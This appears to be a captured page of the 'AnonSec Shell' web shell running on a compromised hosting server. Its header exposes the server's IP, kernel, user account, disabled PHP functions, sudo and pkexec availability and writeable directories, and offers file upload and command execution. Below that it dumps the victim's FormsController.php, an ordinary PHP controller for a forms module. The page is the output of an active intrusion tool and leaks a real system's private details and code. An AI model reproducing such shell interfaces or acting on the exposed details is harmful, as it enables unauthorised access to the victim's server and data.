AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_forms/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_forms/controllers/FormsController.php
<?php

require_once 'Controller.php';
require_once __DIR__ . '/../models/FormsModel.php';
require_once __DIR__ . "/../models/WebservicesModel.php";
require_once __DIR__ . "/../models/QuestionsModel.php";
require_once __DIR__ . "/../models/TypesModel.php";
require_once __DIR__ . "/../models/QuestionsformsModel.php";

/**
 *
 */
class FormsController extends Controller
{
	/**
	 * @var FormsModel
	 */
	protected $model;

	/**
	 * @var WebservicesModel
	 */
	protected $modelWebservice;

	/**
	 * @var TypesModel
	 */
	protected $modelTypes;

	/**
	 * @var QuestionsModel
	 */
	protected $modelQuestions;

	/**
	 * @var
	 */
	protected $modelQuestionsforms;

	/**
	 * FormsController constructor.
	 * @param $ui
	 * @param $_L
	 * @param $config
	 * @param $_pd
	 */
	public function __construct($ui, $_L, $config, $_pd)
	{
		parent::__construct($ui, $_L, $config, $_pd);
		$this->model = new FormsModel();
		$this->modelWebservice = new WebservicesModel();
		$this->modelTypes = new TypesModel();
		$this->modelQuestions = new QuestionsModel();
		$this->modelQuestionsforms = new QuestionsformsModel();
	}

	public function add()
	{
		$this->ui->assign('jsvar', '
			_L[\'Drag questions to this area\'] = \'' . $this->_L['Drag questions to this area'] . '\';  
		');

        $assets_css = Asset::css([
        	'modal',
			's2/css/select2.min',
//			'toggle/bootstrap-toggle.min'
		]);
        $assets_css .= Asset::css('/../../../' . $this->_pd . '/assets/css/questions');
        $this->ui->assign('xheader', $assets_css);

        $assets_js = Asset::js([
        	'modal',
			's2/js/select2.min',
//			'toggle/bootstrap-toggle.min',
			'dp/dist/datepicker.min'
		]);
	    $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
		$assets_js .= Asset::js_external($this->_pd . '/assets/js/questions.js');
        $this->ui->assign('xfooter', $assets_js);

        $types = $this->modelTypes->all('name');
        $this->ui->assign('types', $types);

        $this->ui->assign('_st', $this->_L['module_forms']);
		$this->ui->assign('_include', 'forms/' . __FUNCTION__);
		$this->ui->display('wrapper.tpl');
	}

	public function create()
    {
        $this->validate();

        $this->model->createForm($this->data);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_save_smsg']);
    }

    public function edit()
    {
        if (!isset($this->routes['3']) || !is_numeric($this->routes['3'])) {
            r2(U . "module_forms/forms/listForms", 'e', $this->_L['Invalid ID']);
        }

        $assets_css = Asset::css([
        	'modal',
			's2/css/select2.min',
			'/../../theme/lrsys/css/jquery-ui',
                        'redactor/redactor', '/../../../application/plugins/module_med_scheduling/assets/css/default'
			]);
		$assets_css .= Asset::css('/../../../' . $this->_pd . '/assets/css/questions');
        $this->ui->assign('xheader', $assets_css);
        
        $this->ui->assign('xjq', '
            $(\'#notes\').redactor(
                {
                minHeight: 150 // pixels
                }
                );
        ');

        $webservices = $this->modelWebservice->all();
        $this->ui->assign('webservices', $webservices);

		$this->ui->assign('jsvar', '
			_L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
			_L[\'Select\'] = \'' . $this->_L['Select'] . '\';
			_L[\'Clone Question\'] = \'' . $this->_L['Clone Question'] . '\';
			_L[\'module_forms_logic_jump\'] = \'' . $this->_L['module_forms_logic_jump'] . '\';
			_L[\'Drag questions to this area\'] = \'' . $this->_L['Drag questions to this area'] . '\';
		');

        
        $assets_js = Asset::js([
        	'modal',
			's2/js/select2.min',
			'dp/dist/datepicker.min',
			'maskinput/jquery.maskedinput.min',
			'tinymce/tinymce.min',
                        'numeric', 
                        'redactor/redactor.min'
		]);
        $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
		$assets_js .= Asset::js_external($this->_pd . '/assets/js/questions.js');
//		$assets_js .= Asset::js_external($this->_pd . '/assets/js/rangyinputs/rangyinputs-jquery.js');
//		$assets_js .= Asset::js_external($this->_pd . '/assets/js/tinymce-variable/src/plugin.js');
		$this->ui->assign('xfooter', $assets_js);

        $form = $this->model->getOne($this->routes['3']);
        $this->ui->assign('form', $form);

        $types = $this->modelTypes->all('name', false, 'array');
        $this->ui->assign('types', $types);

        // Busca as questões do formulário
        $questions = ORM::for_table('module_forms_questions')
                ->table_alias('q')
                ->select('q.id')
                ->select('q.type_id')
                ->select('q.question')
                ->select('q.sorder')
                ->select_expr('(SELECT COUNT(quest.id) FROM module_forms_questions quest WHERE q.id = quest.parent_id)', 'has_child')
                ->join('module_forms_questions_forms', 'q.id = qf.question_id', 'qf')
                ->join('module_forms_forms', 'qf.form_id = f.id', 'f')
                ->where('qf.form_id', $this->routes['3'])
                ->where_null('q.parent_id')
                ->order_by_asc('sorder')
                ->find_many();
        $this->ui->assign('questions', $questions);

        // Busca as questões filhas (Grupo de questões)
        $child_questions = ORM::for_table('module_forms_questions')
                ->table_alias('q')
                ->select('q.id')
                ->select('q.parent_id')
                ->select('q.type_id')
                ->select('q.question')
                ->select('q.sorder')
                ->join('module_forms_questions_forms', 'q.id = qf.question_id', 'qf')
                ->join('module_forms_forms', 'qf.form_id = f.id', 'f')
                ->where('qf.form_id', $this->routes['3'])
                ->where_not_null('q.parent_id')
                ->order_by_asc('sorder')
                ->find_many();
        $this->ui->assign('child_questions', $child_questions);
        
        // Pego o para a View
        $forms = ORM::for_table('module_forms_forms')->where('id', $this->routes['3'])->find_many();
        $count = 0;
        foreach ($forms as $form)
        {
            $questions = ORM::for_table('module_forms_questions_forms')
                        ->table_alias('qf')
                        ->select('q.*')
                        ->select('t.alias')
                        ->join('module_forms_questions', array('q.id', '=', 'qf.question_id'), 'q')
                        ->join('module_forms_types', array('q.type_id', '=', 't.id'), 't')
                        ->where('qf.form_id',$form->id)
                        ->order_by_asc('q.sorder')->find_many();
        
            $options = array();
            if(count($questions)>0)
            {
                $count_question = 0;
                foreach ($questions as $question)
                {
                    $options = ORM::for_table('module_forms_choices')->where('question_id',$question->id)->find_many();
                    $questions[$count_question]->options = $options;
                    $count_question++;
                }
            }
            
            $forms[$count]->questions=$questions;
            $count++;
        }
//        var_dump($forms);exit;
        $this->ui->assign('forms_view', $forms);

        $this->ui->assign('_st', $this->_L['module_forms']);
        $this->ui->assign('_include', 'forms/add');
        $this->ui->display('wrapper.tpl');
    }

    public function update()
    {
        $registry = $this->validate();

        $this->model->update($this->data, $registry);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_edit_smsg']);
    }

    public function delete()
    {
        if (!isset($this->routes[3]) || !is_numeric($this->routes[3])) {
            r2(U . 'module_forms/forms/listForms', 'e', $this->_L['Invalid ID']);
        }

		// Verifica se a questão existe
		$form = $this->model->getOne($this->routes[3]);

		if (!$form) {
			r2($_SERVER['HTTP_REFERER'], 'e', $this->_L['Not_Found']);
		}

		// Remove da tabela N:N
		$questions_forms = $this->modelQuestionsforms->getByParam('form_id', $form->id);
		if ($questions_forms) {
			foreach ($questions_forms as $item) {
				$this->modelQuestionsforms->delete($item->id);
			}
		}

        $this->model->delete($this->routes[3]);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_delete_smsg']);
    }

    public function listForms()
    {
    $forms = $this->model->all();
    $this->ui->assign('forms', $forms);

    $this->ui->assign('_st', $this->_L['module_forms']);

    $assets_css = Asset::css(['modal', 's2/css/select2.min']);
    $this->ui->assign('xheader', $assets_css);

    $this->ui->assign('jsvar', '
                    _L[\'Yes\'] = \'' . $this->_L['Yes'] . '\';
                    _L[\'No\'] = \'' . $this->_L['No'] . '\';
                    _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
            ');

    $assets_js = Asset::js(['modal', 's2/js/select2.min']);
    $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
    $this->ui->assign('xfooter', $assets_js);

    $this->ui->assign('_include', 'forms/list');
            $this->ui->display('wrapper.tpl');
    }

	public function validate()
    {
        $url_controller = "forms";
        if ($_SERVER['REQUEST_METHOD'] != 'POST') {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Method'] .' '. $this->_L['Not Permited']);
        }

        $this->data = $_POST;

        if (isset($this->data['status']) && $this->data['status'] == 'ativo') {
            $this->data['status'] = true;
        }
        else {
            $this->data['status'] = false;
        }

        if (isset($this->data['id']) && !is_numeric($this->data['id'])) {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Invalid ID']);
        }

        if (!isset($this->data['title']) || empty($this->data['title'])) {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Title'] .' '. $this->_L['is required']);
        }

        if (isset($this->data['id']) && is_numeric($this->data['id'])) {
            $registry = $this->model->getOne($this->data['id']);

            if (!$registry) {
                r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Not_Found']);
            }

            return $registry;
        }

        return false;
    }
    
    
    /**
     * Show add to type exam
     */
    public function view() {
        
        $form_id = $this->routes[2];
        
        // Pego os formulários do Prontuário
        $forms = ORM::for_table('module_forms_forms')->find_one($form_id);
        $count = 0;
        foreach ($forms as $form)
        {
            $questions = ORM::for_table('module_forms_questions_forms')
                        ->table_alias('qf')
                        ->select('q.*')
                        ->select('t.alias')
                        ->join('module_forms_questions', array('q.id', '=', 'qf.question_id'), 'q')
                        ->join('module_forms_types', array('q.type_id', '=', 't.id'), 't')
                        ->where('qf.form_id',$form->id)
                        ->order_by_asc('q.sorder')->find_many();
        
            $options = array();
            if(count($questions)>0)
            {
                $count_question = 0;
                foreach ($questions as $question)
                {
                    $options = ORM::for_table('module_forms_choices')->where('question_id',$question->id)->find_many();
                    $questions[$count_question]->options = $options;
                    $count_question++;
                }
            }
            
            $forms[$count]->questions=$questions;
            $count++;
        }
        
        $this->ui->assign('forms_view', $forms);
        
        
        // CARREGA CSS E JS'S
        $css_arr = array('s2/css/select2.min', 'redactor/redactor', '/../../../application/plugins/module_med_scheduling/assets/css/default');
        $js_arr = array('numeric', 'redactor/redactor.min', 's2/js/select2.min', '/../../../application/plugins/module_med_scheduling/assets/js/default-history');

        $assets_js = Asset::js($js_arr);
        $assets_css = Asset::css($css_arr);

        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);

        $this->ui->assign('xjq', '
            $(\'#notes\').redactor(
                {
                minHeight: 150 // pixels
                }
                );
        ');
        $this->ui->assign('_st', $this->_L['module_forms']);
        $this->ui->assign('_include', 'forms/view');
        $this->ui->display('wrapper.tpl');
    }
}

Anon7 - 2022
AnonSec Team